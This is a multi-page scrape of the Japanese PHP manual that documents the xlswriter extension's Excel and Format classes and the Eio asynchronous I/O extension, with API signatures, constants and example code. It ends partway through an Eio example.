  • ≪ Vtiful\Kernel\Excel::header
  • Vtiful\Kernel\Excel::insertImage ≫
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel insertFormula

Vtiful\Kernel\Excel::insertFormula

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::insertFormula — Vtiful\Kernel\Excel insertFormula

説明

public Vtiful\Kernel\Excel::insertFormula ( int $row , int $column , string $formula )

Insert calculation formula.

パラメータ

row

cell row

column

cell column

formula

formula string

返り値

Vtiful\Kernel\Excel instance

例

例1 example

<?php
$config = [
    'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$file = $excel->fileName("free.xlsx")
    ->header(['name', 'money']);

for($index = 1; $index < 10; $index++) {
    $file->insertText($index, 0, 'viest');
    $file->insertText($index, 1, 10);
}

$file->insertText(12, 0, "Total");
$file->insertFormula(12, 1, '=SUM(B2:B11)'); // insert formula

$file->output();

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel insertImage

  • ≪ Vtiful\Kernel\Excel::insertFormula
  • Vtiful\Kernel\Excel::insertText ≫
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel insertImage

Vtiful\Kernel\Excel::insertImage

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::insertImage — Vtiful\Kernel\Excel insertImage

説明

public Vtiful\Kernel\Excel::insertImage ( int $row , int $column , string $localImagePath )

Insert a local image into the cell.

パラメータ

row

cell row

column

cell column

localImagePath

local image path

返り値

Vtiful\Kernel\Excel instance

例

例1 example

<?php
$config = [
    'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$file = $excel->fileName("free.xlsx");

$file->insertImage(5, 0, '/vagrant/ASW-G-66.jpg');

$file->output();

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel insertText

  • ≪ Vtiful\Kernel\Excel::insertImage
  • Vtiful\Kernel\Excel::mergeCells ≫
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel insertText

Vtiful\Kernel\Excel::insertText

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::insertText — Vtiful\Kernel\Excel insertText

説明

public Vtiful\Kernel\Excel::insertText ( int $row , int $column , stringintdouble $data , string $format = ? )

Write text in a cell.

パラメータ

row

cell row

column

cell column

data

data to be written

format

String format

返り値

Vtiful\Kernel\Excel instance

例

例1 example

<?php
$config = [
    'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$file = $excel->fileName("free.xlsx")
    ->header(['name', 'money']);

for ($index = 0; $index < 10; $index++) {
    $file->insertText($index+1, 0, 'viest');
    $file->insertText($index+1, 1, 10000, '#,##0');
}

$textFile->output();

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel mergeCells

  • ≪ Vtiful\Kernel\Excel::insertText
  • Vtiful\Kernel\Excel::output ≫
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel mergeCells

Vtiful\Kernel\Excel::mergeCells

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::mergeCells — Vtiful\Kernel\Excel mergeCells

説明

public Vtiful\Kernel\Excel::mergeCells ( string $scope , string $data )

Merge Cells.

パラメータ

scope

cell start and end coordinate strings

data

string data

返り値

Vtiful\Kernel\Excel instance

例

例1 example

<?php
$config = [
    'path' => './tests'
];

$excel = new \Vtiful\Kernel\Excel($config);

$excel->fileName("test.xlsx")
        ->mergeCells('A1:C1', 'Merge cells')
        ->output();

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel output

  • ≪ Vtiful\Kernel\Excel::mergeCells
  • Vtiful\Kernel\Excel::setColumn ≫
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel output

Vtiful\Kernel\Excel::output

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::output — Vtiful\Kernel\Excel output

説明

public Vtiful\Kernel\Excel::output ( )

Output xlsx file to disk.

パラメータ

この関数にはパラメータはありません。

返り値

XLSX file path;

例

例1 example

<?php
$config = [
    'path' => './tests'
];

$fileObject  = new \Vtiful\Kernel\Excel($config);

$file = $fileObject->fileName('tutorial.xlsx', 'sheet_one')
    ->header(['name', 'age'])
    ->data([
      ['viest', 23],
      ['wjx', 23],
    ]);

$path = $file->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel setColumn

  • ≪ Vtiful\Kernel\Excel::output
  • Vtiful\Kernel\Excel::setRow ≫
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel setColumn

Vtiful\Kernel\Excel::setColumn

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::setColumn — Vtiful\Kernel\Excel setColumn

説明

public Vtiful\Kernel\Excel::setColumn ( string $range , float $width , resource $format = ? )

Set the format of the column.

パラメータ

range

cell start and end coordinate strings

width

column width

format

cell format resource

返り値

Vtiful\Kernel\Excel instance

例

例1 example

<?php
$config = [
    'path' => './tests'
];

$excel  = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$boldStyle = \Vtiful\Kernel\Format::bold($fileHandle);

$fileObject->header(['name', 'age'])
    ->data([['viest', 21]])
    ->setColumn('A:A', 200, $boldStyle)
    ->output();

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Excel setRow

  • ≪ Vtiful\Kernel\Excel::setColumn
  • Vtiful\Kernel\Format ≫
  • PHP Manual
  • Vtiful\Kernel\Excel
  • Vtiful\Kernel\Excel setRow

Vtiful\Kernel\Excel::setRow

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Excel::setRow — Vtiful\Kernel\Excel setRow

説明

public Vtiful\Kernel\Excel::setRow ( string $range , float $height , resource $format = ? )

Set the format of the column.

パラメータ

range

cell start and end coordinate strings

height

row height

format

cell format resource

返り値

Vtiful\Kernel\Excel instance

例

例1 example

<?php
$config = [
    'path' => './tests'
];

$excel  = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$boldStyle = \Vtiful\Kernel\Format::bold($fileHandle);

$fileObject->header(['name', 'age'])
    ->data([['viest', 21]])
    ->setRow('A1', 20, $boldStyle,)
    ->output();

User Contributed Notes

There are no user contributed notes for this page.


The Vtiful\Kernel\Format class

(PECL xlswriter >= 1.2.1)

はじめに

Create a cell format object

クラス概要

Vtiful\Kernel\Format {
/* Constants */
const int FORMAT_ALIGN_LEFT = 1 ;
const int FORMAT_ALIGN_CENTER = 2 ;
const int FORMAT_ALIGN_RIGHT = 3 ;
const int FORMAT_ALIGN_FILL = 4 ;
const int FORMAT_ALIGN_JUSTIFY = 5 ;
const int FORMAT_ALIGN_CENTER_ACROSS = 6 ;
const int FORMAT_ALIGN_DISTRIBUTED = 7 ;
const int FORMAT_ALIGN_VERTICAL_TOP = 8 ;
const int FORMAT_ALIGN_VERTICAL_BOTTOM = 9 ;
const int FORMAT_ALIGN_VERTICAL_CENTER = 10 ;
const int FORMAT_ALIGN_VERTICAL_JUSTIFY = 11 ;
const int FORMAT_ALIGN_VERTICAL_DISTRIBUTED = 12 ;
const int UNDERLINE_SINGLE = 1 ;
const int UNDERLINE_DOUBLE = 2 ;
const int UNDERLINE_SINGLE_ACCOUNTING = 3 ;
const int UNDERLINE_DOUBLE_ACCOUNTING = 4 ;
/* メソッド */
public align ( resource $handle , int $style )
public bold ( resource $handle )
public italic ( resource $handle )
public underline ( resource $handle , int $style )
}

定義済み定数

Vtiful\Kernel\Format::FORMAT_ALIGN_LEFT

Vtiful\Kernel\Format::FORMAT_ALIGN_CENTER

Vtiful\Kernel\Format::FORMAT_ALIGN_RIGHT

Vtiful\Kernel\Format::FORMAT_ALIGN_FILL

Vtiful\Kernel\Format::FORMAT_ALIGN_JUSTIFY

Vtiful\Kernel\Format::FORMAT_ALIGN_CENTER_ACROSS

Vtiful\Kernel\Format::FORMAT_ALIGN_DISTRIBUTED

Vtiful\Kernel\Format::FORMAT_ALIGN_VERTICAL_TOP

Vtiful\Kernel\Format::FORMAT_ALIGN_VERTICAL_BOTTOM

Vtiful\Kernel\Format::FORMAT_ALIGN_VERTICAL_CENTER

Vtiful\Kernel\Format::FORMAT_ALIGN_VERTICAL_JUSTIFY

Vtiful\Kernel\Format::FORMAT_ALIGN_VERTICAL_DISTRIBUTED

Vtiful\Kernel\Format::UNDERLINE_SINGLE

Vtiful\Kernel\Format::UNDERLINE_DOUBLE

Vtiful\Kernel\Format::UNDERLINE_SINGLE_ACCOUNTING

Vtiful\Kernel\Format::UNDERLINE_DOUBLE_ACCOUNTING

目次

  • Vtiful\Kernel\Format::align — Vtiful\Kernel\Format align
  • Vtiful\Kernel\Format::bold — Vtiful\Kernel\Format bold
  • Vtiful\Kernel\Format::italic — Vtiful\Kernel\Format italic
  • Vtiful\Kernel\Format::underline — Vtiful\Kernel\Format underline

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Format align

  • ≪ Vtiful\Kernel\Format
  • Vtiful\Kernel\Format::bold ≫
  • PHP Manual
  • Vtiful\Kernel\Format
  • Vtiful\Kernel\Format align

Vtiful\Kernel\Format::align

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Format::align — Vtiful\Kernel\Format align

説明

public Vtiful\Kernel\Format::align ( resource $handle , int $style )

set cell align

パラメータ

handle

xlsx file handle

style

Vtiful\Kernel\Format constant

返り値

Resource

例

例1 example

<?php
$config = [
    'path' => './tests'
];

$excel  = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$alignStyle = \Vtiful\Kernel\Format::align($fileHandle, \Vtiful\Kernel\Format::FORMAT_ALIGN_LEFT);

$fileObject->header(['name', 'age'])
    ->data([['viest', 21]])
    ->setColumn('A:A', 200, $align)
    ->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Format bold

  • ≪ Vtiful\Kernel\Format::align
  • Vtiful\Kernel\Format::italic ≫
  • PHP Manual
  • Vtiful\Kernel\Format
  • Vtiful\Kernel\Format bold

Vtiful\Kernel\Format::bold

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Format::bold — Vtiful\Kernel\Format bold

説明

public Vtiful\Kernel\Format::bold ( resource $handle )

Vtiful\Kernel\Format bold format

パラメータ

handle

xlsx file handle

返り値

Resource

例

例1 example

<?php
$config = [
    'path' => './tests'
];

$excel  = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$boldStyle = \Vtiful\Kernel\Format::bold($fileHandle);

$fileObject->header(['name', 'age'])
    ->data([['viest', 21]])
    ->setColumn('A:A', 200, $boldStyle)
    ->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Format italic

  • ≪ Vtiful\Kernel\Format::bold
  • Vtiful\Kernel\Format::underline ≫
  • PHP Manual
  • Vtiful\Kernel\Format
  • Vtiful\Kernel\Format italic

Vtiful\Kernel\Format::italic

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Format::italic — Vtiful\Kernel\Format italic

説明

public Vtiful\Kernel\Format::italic ( resource $handle )

Vtiful\Kernel\Format italic format

パラメータ

handle

xlsx file handle

返り値

Resource

例

例1 example

<?php
$config = [
    'path' => './tests'
];

$excel  = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$italicStyle = \Vtiful\Kernel\Format::italic($fileHandle);

$fileObject->header(['name', 'age'])
    ->data([['viest', 21]])
    ->setColumn('A:A', 200, $italicStyle)
    ->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Vtiful\Kernel\Format underline

  • ≪ Vtiful\Kernel\Format::italic
  • プロセス制御 ≫
  • PHP Manual
  • Vtiful\Kernel\Format
  • Vtiful\Kernel\Format underline

Vtiful\Kernel\Format::underline

(PECL xlswriter >= 1.2.1)

Vtiful\Kernel\Format::underline — Vtiful\Kernel\Format underline

説明

public Vtiful\Kernel\Format::underline ( resource $handle , int $style )

Vtiful\Kernel\Format underline format

パラメータ

handle

xlsx file handle

style

Vtiful\Kernel\Format constant

返り値

Resource

例

例1 example

<?php
$config = [
    'path' => './tests'
];

$excel  = new \Vtiful\Kernel\Excel($config);

$fileObject = $excel->fileName('tutorial01.xlsx');
$fileHandle = $fileObject->getHandle();

$underlineStyle = \Vtiful\Kernel\Format::underline($fileHandle, \Vtiful\Kernel\Format::UNDERLINE_SINGLE);

$fileObject->header(['name', 'age'])
    ->data([['viest', 21]])
    ->setColumn('A:A', 200, $underlineStyle)
    ->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


プロセス制御

  • Eio
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Eio 関数
  • Ev
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • ウォッチャー
    • ウォッチャーのコールバック
    • Periodic ウォッチャーの操作モード
    • Ev — Ev クラス
    • EvCheck — EvCheck クラス
    • EvChild — The EvChild class
    • EvEmbed — EvEmbed クラス
    • EvFork — EvFork クラス
    • EvIdle — The EvIdle class
    • EvIo — The EvIo class
    • EvLoop — The EvLoop class
    • EvPeriodic — The EvPeriodic class
    • EvPrepare — EvPrepare クラス
    • EvSignal — The EvSignal class
    • EvStat — The EvStat class
    • EvTimer — The EvTimer class
    • EvWatcher — The EvWatcher class
  • Expect
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Expect 関数
  • PCNTL — プロセス制御
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • PCNTL 関数
  • POSIX
    • はじめに
    • インストール/設定
    • 定義済み定数
    • POSIX 関数
  • プログラムの実行 — システムプログラムの実行
    • はじめに
    • インストール/設定
    • 定義済み定数
    • プログラム実行関数
  • parallel
    • はじめに
    • Installation
    • Philosophy
    • Functional API
    • parallel\Runtime — The parallel\Runtime class
    • parallel\Future — The parallel\Future class
    • parallel\Channel — The parallel\Channel class
    • parallel\Events — The parallel\Events class
    • parallel\Events\Input — The parallel\Events\Input class
    • parallel\Events\Event — The parallel\Events\Event class
    • parallel\Events\Event\Type — The parallel\Events\Event\Type class
    • parallel\Sync — The parallel\Sync class
  • pthreads
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Threaded — The Threaded class
    • Thread — Thread クラス
    • Worker — Worker クラス
    • Collectable — The Collectable interface
    • Modifiers — Method Modifiers
    • Pool — The Pool class
    • Mutex — The Mutex class
    • Cond — The Cond class
    • Volatile — The Volatile class
  • pht
    • はじめに
    • インストール/設定
    • pht\Thread — The Thread class
    • pht\Runnable — The Runnable interface
    • pht\HashTable — The HashTable class
    • pht\Vector — The Vector class
    • pht\Queue — The Queue class
    • pht\AtomicInteger — The AtomicInteger class
    • pht\Threaded — The Threaded interface
  • セマフォ — セマフォ、共有メモリおよび IPC
    • はじめに
    • インストール/設定
    • 定義済み定数
    • セマフォ関数
  • 共有メモリ
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • 共有メモリ関数
    • Shmop — Shmop クラス
  • Sync
    • はじめに
    • インストール/設定
    • 定義済み定数
    • SyncMutex — The SyncMutex class
    • SyncSemaphore — The SyncSemaphore class
    • SyncEvent — The SyncEvent class
    • SyncReaderWriter — The SyncReaderWriter class
    • SyncSharedMemory — The SyncSharedMemory class

User Contributed Notes

There are no user contributed notes for this page.


Eio

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • Eio 関数
    • eio_busy — 人為的に負荷を高くする。テストやベンチマークなどで有用
    • eio_cancel — リクエストを取り消す
    • eio_chmod — ファイルやディレクトリのパーミッションを変更する
    • eio_chown — ファイルやディレクトリのオーナーを変更する
    • eio_close — ファイルを閉じる
    • eio_custom — eio_* のようなカスタムリクエストを実行する
    • eio_dup2 — ファイルディスクリプタを複製する
    • eio_event_loop — すべてのリクエストを処理し終えるまで libeio をポールする
    • eio_fallocate — 呼び出し元が、ファイルに割り当てられたディスク空間を直接操作できるようにする
    • eio_fchmod — ファイルのパーミッションを変更する
    • eio_fchown — ファイルのオーナーを変更する
    • eio_fdatasync — ファイルのコア内の情報をストレージデバイスに同期させる
    • eio_fstat — ファイルの状態を取得する
    • eio_fstatvfs — ファイルシステムの状態を取得する
    • eio_fsync — メモリ内でのファイルの状態をストレージデバイスに同期させる
    • eio_ftruncate — ファイルを切り詰める
    • eio_futime — ファイルの最終アクセス時刻と変更時刻を変更する
    • eio_get_event_stream — 内部での libeio との通信に使う変数を表すストリームを取得する
    • eio_get_last_error — リクエストリソースに関連づけられた直近のエラーの説明を文字列で返す
    • eio_grp_add — リクエストをリクエストグループに追加する
    • eio_grp_cancel — リクエストグループをキャンセルする
    • eio_grp_limit — グループリミットを設定する
    • eio_grp — リクエストグループを作る
    • eio_init — Eio を初期化する
    • eio_link — ファイルのハードリンクを作る
    • eio_lstat — ファイルの状態を取得する
    • eio_mkdir — ディレクトリを作る
    • eio_mknod — 特殊ファイルあるいは一般ファイルを作る
    • eio_nop — 何もせず、ただリクエストのサイクルを回す
    • eio_npending — 終了したけれども処理されなかったリクエストの数を返す
    • eio_nready — 未処理のリクエスト数を返す
    • eio_nreqs — 処理対象のリクエスト数を返す
    • eio_nthreads — 現在利用中のスレッド数を返す
    • eio_open — ファイルを開く
    • eio_poll — 未処理のリクエストがあるかどうかを調べる
    • eio_read — ファイルを、指定したオフセットから読み込む
    • eio_readahead — ファイルを先読みしてページキャッシュに格納する
    • eio_readdir — ディレクトリ全体を読み込む
    • eio_readlink — シンボリックリンクの値を読む
    • eio_realpath — 正規化された絶対パスを取得する
    • eio_rename — ファイル名や場所を変更する
    • eio_rmdir — ディレクトリを削除する
    • eio_seek — fd で指定したファイル内でのオフセットを、offset と whence に従って移動する
    • eio_sendfile — ファイルディスクリプタ間でデータを転送する
    • eio_set_max_idle — アイドルスレッドの最大数を設定する
    • eio_set_max_parallel — 最大の並列スレッド数を設定する
    • eio_set_max_poll_reqs — 一度のポールで行う最大のリクエスト回数を設定する
    • eio_set_max_poll_time — 最大のポール時間を設定する
    • eio_set_min_parallel — 最小の並列スレッド数を設定する
    • eio_stat — ファイルの状態を取得する
    • eio_statvfs — ファイルシステムの状態を取得する
    • eio_symlink — シンボリックリンクを作る
    • eio_sync_file_range — ファイルセグメントをディスクに同期する
    • eio_sync — バッファのキャッシュをディスクに書き込む
    • eio_syncfs — Linux の syncfs システムコールが使えれば、それを呼ぶ
    • eio_truncate — ファイルを切り詰める
    • eio_unlink — 名前を削除し、その名前で参照しているファイルも削除する
    • eio_utime — ファイルの最終アクセス時刻と変更時刻を変更する
    • eio_write — ファイルに書き込む

User Contributed Notes

There are no user contributed notes for this page.


はじめに

この拡張モジュールは、非同期 POSIX I/O 機能を提供します。 Marc Lehmann による » libeio C ライブラリを利用します。

注意: この拡張モジュールは Windows 環境では利用できません。

警告

注意すべき点は、個々のリクエストが単一のスレッド内で実行され、 キューに入れた一連のリクエストの実行順は基本的に不定であるということです。 たとえば、次のコード片は間違っています。

例1 間違ったリクエスト

<?php
// $filename のシンボリックリンクを $link に作るリクエスト
eio_symlink($filename, $link);

// $filename を $new_filename に移動するリクエスト
eio_rename($filename, $new_filename);

// リクエストを処理します
eio_event_loop();
?>
この書き方だと、eio_rename() のほうが eio_symlink() よりも先に処理されてしまう可能性があります。 そうならないようにするには、eio_rename() を eio_symlink() のコールバックの中から呼びます。

例2 リクエストコールバックからのリクエストの呼び出し

<?php
function my_symlink_done($filename, $result) {
 // $filename を $new_filename に移動するリクエスト
 eio_rename($filename, "/path/to/new-name");

 // リクエストを処理します
 eio_event_loop();
}

// $filename のシンボリックリンクを $link に作るリクエスト
eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_done", $filename);

// リクエストを処理します
eio_event_loop();
?>
あるいは、リクエストグループを作るという手もあります。

例3 リクエストコールバックからのリクエストの呼び出し

<?php
/* これは、グループリクエストが終わってから呼ばれます */
function my_grp_done($data, $result) {
 // ...
}

function my_symlink_done($filename, $result) {
 // eio_rename リクエストを作り、グループに追加します
 $req = eio_rename($filename, "/path/to/new-name");
 eio_grp_add($grp, $req);
 // もっとリクエストを追加したければ、ここで追加します
}

// リクエストグループを作ります
$grp = eio_grp("my_grp_done", "my_grp_data");

// eio_symlink リクエストを作り、グループに追加します
// $filename をコールバックに渡します
$req = eio_symlink($filename, $link,
  EIO_PRI_DEFAULT, "my_symlink_done", $filename);
eio_grp_add($grp, $req);

// リクエストを処理します
eio_event_loop();
?>
グループとは特殊な形式のリクエストのことで、通常の eio リクエストを複数積み上げることができます。 これを使えば、ファイルを開いて読み込んでから閉じるといった 複雑なリクエストを作れます。

バージョン 0.3.0 alpha 以降では、 libeio との通信で内部的に使う変数を eio_get_event_stream() で取得できます。 この変数を使うと、他の拡張モジュールでサポートしている イベントループにバインドできます。 シンプルなイベントループを作って、eio と libevent を一緒に動かしたりできるのです。

例4 eio と libevent を組み合わせる例

<?php
function my_eio_poll($fd, $events, $arg) {
    /* libevent の設定があればここに書きます .. */
    if (eio_nreqs()) {
        eio_poll();
    }
    /* .. そしてここにも書きます */
}

function my_res_cb($d, $r) {
    var_dump($r); var_dump($d);
}

$base = event_base_new();
$event = event_new();

// このストリームを使って libevent にバインドします
$fd = eio_get_event_stream();

eio_nop(EIO_PRI_DEFAULT, "my_res_cb", "nop data");
eio_mkdir("/tmp/abc-eio-temp", 0750, EIO_PRI_DEFAULT, "my_res_cb", "mkdir data");
/* その他の eio_* コール ... */

// イベントフラグを設定します
event_set($event, $fd, EV_READ /*| EV_PERSIST*/, "my_eio_poll", array($event, $base));

// イベントベースを設定します
event_base_set($event, $base);

// イベントを有効化します
event_add($event);

// イベントループを開始します
event_base_loop($base);

/* バッファつき libevent インターフェイスでも同様にできます */
?>

User Contributed Notes

There are no user contributed notes for this page.


要件

この拡張モジュールには » libeio ライブラリが組み込まれています。libeio を個別にインストールする必要はありません。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/eio

手動でのインストールに関する情報は、パッケージに含まれる INSTALL ファイルを参照ください。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

この拡張モジュールでは二種類のリソース型を使います。リクエストとリクエストグループです。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

リクエストの優先度

EIO_PRI_MIN (int)
優先度最小
EIO_PRI_DEFAULT (int)
優先度標準
EIO_PRI_MAX (int)
優先度最大

eio_seek() の whence 引数

EIO_SEEK_SET (int)
オフセットをバイト数で指定する (offset)。
EIO_SEEK_CUR (int)
オフセットを現在位置に offset バイト加えた値にする。
EIO_SEEK_END (int)
オフセットをファイルのサイズに offset バイト加えた値にする。

eio_readdir() で使うフラグ

EIO_READDIR_DENTS (int)
eio_readdir() のフラグ。指定すると、コールバックの result 引数が次のキーを持つ配列になります。 'names' - ディレクトリ名の配列／ 'dents' - struct eio_dirent 風の配列で、 それぞれがさらに以下のキーを持ちます ( 'name' - ディレクトリ名／ 'type' - EIO_DT_* 定数のいずれか／ 'inode' - inode 番号。存在しない場合は不定 )
EIO_READDIR_DIRS_FIRST (int)
このフラグを指定すると、ディレクトリをまず最初に返して stat に最適化した順に返します。
EIO_READDIR_STAT_ORDER (int)
このフラグを指定すると、名前を返すときの順序が 各ファイルを stat するのに適した順となります。 指定したディレクトリにあるすべてのファイルを stat() するつもりなら、この順にしておけば最速になります。
EIO_READDIR_FOUND_UNKNOWN (int)
EIO_DT_UNKNOWN (int)
不明なノード型 (ありがち)。さらに stat() が必要です。
EIO_DT_FIFO (int)
FIFO ノード型
EIO_DT_CHR (int)
ノード型
EIO_DT_MPC (int)
多重化キャラクタデバイス (v7+coherent) ノード型
EIO_DT_DIR (int)
ディレクトリノード型
EIO_DT_NAM (int)
Xenix 名前付きファイルノード型
EIO_DT_BLK (int)
ノード型
EIO_DT_MPB (int)
多重化ブロックデバイス (v7+coherent)
EIO_DT_REG (int)
ノード型
EIO_DT_NWK (int)
EIO_DT_CMP (int)
HP-UX ネットワークノード型
EIO_DT_LNK (int)
リンクノード型
EIO_DT_SOCK (int)
ソケットノード型
EIO_DT_DOOR (int)
Solaris door ノード型
EIO_DT_WHT (int)
ノード型
EIO_DT_MAX (int)
ノード型の最大値

eio_open() の flags 引数用のアクセスモード

EIO_O_RDONLY (int)
EIO_O_WRONLY (int)
EIO_O_RDWR (int)
EIO_O_NONBLOCK (int)
EIO_O_APPEND (int)
EIO_O_CREAT (int)
EIO_O_TRUNC (int)
EIO_O_EXCL (int)
EIO_O_FSYNC (int)

eio_open() の mode 引数用のフラグ

EIO_S_IRUSR (int)
EIO_S_IWUSR (int)
EIO_S_IXUSR (int)
EIO_S_IRGRP (int)
EIO_S_IWGRP (int)
EIO_S_IXGRP (int)
EIO_S_IROTH (int)
EIO_S_IWOTH (int)
EIO_S_IXOTH (int)
EIO_S_IFREG (int)
EIO_S_IFCHR (int)
EIO_S_IFBLK (int)
EIO_S_IFIFO (int)
EIO_S_IFSOCK (int)

eio_sync_file_range() のフラグ

EIO_SYNC_FILE_RANGE_WAIT_BEFORE (int)
EIO_SYNC_FILE_RANGE_WRITE (int)
EIO_SYNC_FILE_RANGE_WAIT_AFTER (int)

eio_fallocate() のフラグ

EIO_FALLOC_FL_KEEP_SIZE (int)

注意:

EIO_S_I* 定数の意味は、POSIX での S_I* と同じです。

注意:

EIO_SYNC_FILE_* 定数の意味は、 SYNC_FILE_** と同じです。

注意:

EIO_O_* 定数の意味は、POSIX での O_* と同じです。

User Contributed Notes

There are no user contributed notes for this page.


例

例1 リクエストの取り消し

<?php
 /* eio_nop() が終わったら呼ばれます */
 function my_nop_cb($data, $result) {
  echo "my_nop ", $data, "\n";
 }

// この eio_nop() の呼び出しは取り消されます
$req = eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "1");
var_dump($req);
eio_cancel($req);

// この eio_nop() は処理されます
eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "2");

// リクエストを処理します
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

resource(4) of type (EIO Request Descriptor)
my_nop 2

例2 eio_chmod() の呼び出し

<?php
$temp_filename = dirname(__FILE__) ."/eio-temp-file.tmp";
touch($temp_filename);

/* eio_chmod() が終わったら呼ばれます */
function my_chmod_callback($data, $result) {
    global $temp_filename;

    if ($result == 0 && !is_readable($temp_filename) && is_writable($temp_filename)) {
        echo "eio_chmod_ok";
    }

    @unlink($temp_filename);
}

eio_chmod($temp_filename, 0200, EIO_PRI_DEFAULT, "my_chmod_callback");
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

eio_chmod_ok

例3 カスタムリクエストの作成

<?php
/* カスタムコールバック */
function my_custom_callback($data, $result) {
    var_dump($data);
    var_dump(count($result));
    var_dump($result['data_modified']);
    var_dump($result['result']);
}

/* カスタムリクエスト */
function my_custom($data) {
    var_dump($data);

    $result  = array(
        'result'        => 1001,
        'data_modified' => "my custom data",
    );

    return $result;
}

$data = "my_custom_data";
$req = eio_custom("my_custom", EIO_PRI_DEFAULT, "my_custom_callback", $data);
var_dump($req);
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

resource(4) of type (EIO Request Descriptor)
string(14) "my_custom_data"
string(14) "my_custom_data"
int(2)
string(14) "my custom data"
int(1001)

例4 リクエストのグループ化

<?php
/*
 * ファイルを開き、読んでから閉じるグループリクエストを作ります
 */

$temp_filename = dirname(__FILE__) ."/eio-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "some data");
fclose($fp);

/* グループリクエストが終了したときに呼ばれます */
function my_grp_done($data, $result) {
 global $temp_filename;
 var_dump($result == 0);
 @unlink($temp_filename);
}

/* eio_open() が終わったら呼ばれます */
function my_grp_file_opened_callback($data, $result) {
 global $my_file_fd, $grp;

 $my_file_fd = $result;

 var_dump($result > 0);

 // eio_read() リクエストを作ってグループに追加します
 $req = eio_read($my_file_fd, 4, 0, EIO_PRI_DEFAULT, "my_grp_file_read_callback");
 eio_grp_add($grp, $req);
}

/* eio_read() が終わったら呼ばれます */
function my_grp_file_read_callback($data, $result) {
 global $my_file_fd, $grp;

 var_dump($result);

 // eio_close() リクエストを作ってグループに追加します
 $req = eio_close($my_file_fd);
 eio_grp_add($grp, $req);
}

$grp = eio_grp("my_grp_done", "my_grp_data");

// eio_open() リクエストを作ってグループに追加します
$req = eio_open($temp_filename, EIO_O_RDWR | EIO_O_APPEND , NULL,
  EIO_PRI_DEFAULT, "my_grp_file_opened_callback", NULL);
eio_grp_add($grp, $req);
var_dump($grp);

eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

resource(6) of type (EIO Group Descriptor)
bool(true)
string(4) "some"
bool(true)

例5 eio と libevent 拡張モジュールを組み合わせる

<?php
function my_eio_poll($fd, $events, $arg) {
    /* libevent の設定があればここに書きます .. */
    if (eio_nreqs()) {
        eio_poll();
    }
    /* .. そしてここにも書きます */
}

function my_nop_cb($d, $r) {
    var_dump($r); var_dump($d);
}

$base = event_base_new();
$event = event_new();

$fd = eio_get_event_stream();
var_dump($fd);

eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "nop data");
